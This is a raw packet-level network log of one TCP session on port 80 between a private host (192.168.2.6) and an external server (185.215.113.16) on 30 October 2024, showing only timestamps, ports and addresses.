Oct 30, 2024 05:25:14.565506935 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.565520048 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.565546989 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.565581083 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.565599918 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.565608978 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.565640926 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.565684080 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.565694094 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.565704107 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.565721989 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.565726042 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.565747976 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.565763950 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.565799952 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.565839052 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.565854073 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.565890074 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.589406967 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.589449883 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.589464903 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.589471102 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.589628935 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.589628935 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.623889923 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.623935938 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.623944998 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.623963118 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.623972893 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.623985052 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.623996019 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.624006987 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.624089956 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.624089956 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.624089956 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.624089956 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.624089956 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.624180079 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.624190092 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.624200106 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.624212980 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.624234915 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.624267101 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.624358892 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.624368906 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.624378920 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.624407053 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.624429941 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.624435902 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.624444008 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.624454975 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.624464989 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.624470949 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.624480009 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.624510050 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.624541998 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.624648094 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.624664068 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.624675035 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.624696016 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.624711037 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.624716997 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.624726057 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.624746084 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.624778986 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.624842882 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.624887943 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.624908924 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.624924898 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.624938011 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.624948025 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.624954939 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.624969959 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.625004053 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.625117064 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.625127077 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.625137091 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.625165939 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.625178099 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.663369894 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.663398981 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.663409948 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.663441896 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.663472891 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.663630009 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.663645029 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.663665056 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.663675070 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.663688898 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.663701057 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.663708925 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.663719893 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.663729906 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.663738012 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.663753986 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.663760900 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.663769007 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.663779020 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.663785934 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.663806915 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.663829088 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.663836956 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.663846970 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.663857937 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.663877010 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.663892031 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.663922071 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.663957119 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.663997889 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.664007902 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.664021015 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.664031982 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.664041996 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.664072990 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.664098978 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.664115906 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.664133072 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.664144993 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.664159060 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.664187908 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.664207935 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.664217949 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.664251089 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.664266109 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.664722919 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.664735079 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.664746046 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.664772034 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.664787054 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.664800882 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.664805889 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.664818048 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.664834976 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.664853096 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.664890051 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.664911032 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.664964914 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.664964914 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.664975882 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.665015936 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.665028095 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.665071964 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.682924986 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.682940006 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.682957888 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.682966948 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.682979107 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.682990074 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.683000088 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.683008909 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.683067083 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.683067083 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.683067083 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.683067083 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.683067083 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.683108091 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.683116913 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.683130026 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.683135986 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.683146954 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.683175087 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.683199883 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.683208942 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.683223009 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.683245897 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.683279037 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.683299065 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.683316946 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.683326006 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.683336020 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.683350086 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.683365107 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.683372974 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.683381081 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.683402061 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.683428049 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.707979918 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.707989931 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.707999945 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.708035946 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.708060980 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.741446972 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.741513014 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.741539001 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.741549969 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.741566896 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.741576910 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.741585970 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.741594076 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.741604090 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.741614103 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.741622925 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.741631985 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.741640091 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.741650105 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.741658926 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.741692066 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.741791964 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.741835117 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.741882086 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.741892099 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.741902113 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.741911888 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.741924047 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.741929054 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.741939068 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.741950035 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.741967916 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.742140055 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.742150068 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.742161036 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.742172003 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.742182016 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.742189884 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.742201090 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.742224932 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.742388964 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.742398024 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.742440939 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.742479086 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.742489100 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.742499113 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.742508888 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.742520094 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.742525101 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.742537022 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.742542982 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.742552042 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.742561102 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.742568970 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.742580891 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.742588997 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.742614031 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.742768049 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.742779016 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.742789030 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.742816925 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.742830992 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.780947924 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.780962944 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.780983925 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.780992985 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.781011105 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.781018019 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.781042099 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.781049013 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.781063080 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.781066895 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.781075001 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.781086922 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.781092882 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.781117916 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.781218052 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.781225920 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.781250000 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.781261921 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.781274080 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.781297922 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.781308889 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.781317949 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.781341076 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.781357050 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.781425953 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.781436920 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.781447887 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.781456947 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.781469107 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.781490088 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.781511068 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.781563044 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.781577110 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.781588078 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.781605005 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.781619072 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.781636000 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.781687021 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.781696081 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.781707048 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.781719923 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.781735897 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.781810999 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.781824112 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.781833887 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.781857967 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.781873941 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.782182932 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.782223940 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.782239914 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.782253981 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.782277107 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.782294989 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.782301903 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.782314062 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.782335043 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.782346010 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.782371998 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.782393932 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.782432079 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.782494068 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.782504082 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.782512903 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.782541037 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.782557011 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.782566071 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.782576084 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.782591105 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.782617092 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.800559998 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.800571918 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.800585985 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.800595999 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.800607920 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.800628901 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.800652981 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.800652981 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.800673962 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.800683975 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.800693035 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.800703049 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.800712109 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.800720930 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.800729036 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.800740957 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.800755024 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.800772905 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.800791025 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.800812006 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.800821066 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.800833941 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.800846100 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.800849915 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.800864935 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.800885916 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.800967932 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.801011086 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.801054955 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.801064014 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.801073074 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.801122904 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.801122904 CET	49993	80	192.168.2.6	185.215.113.16
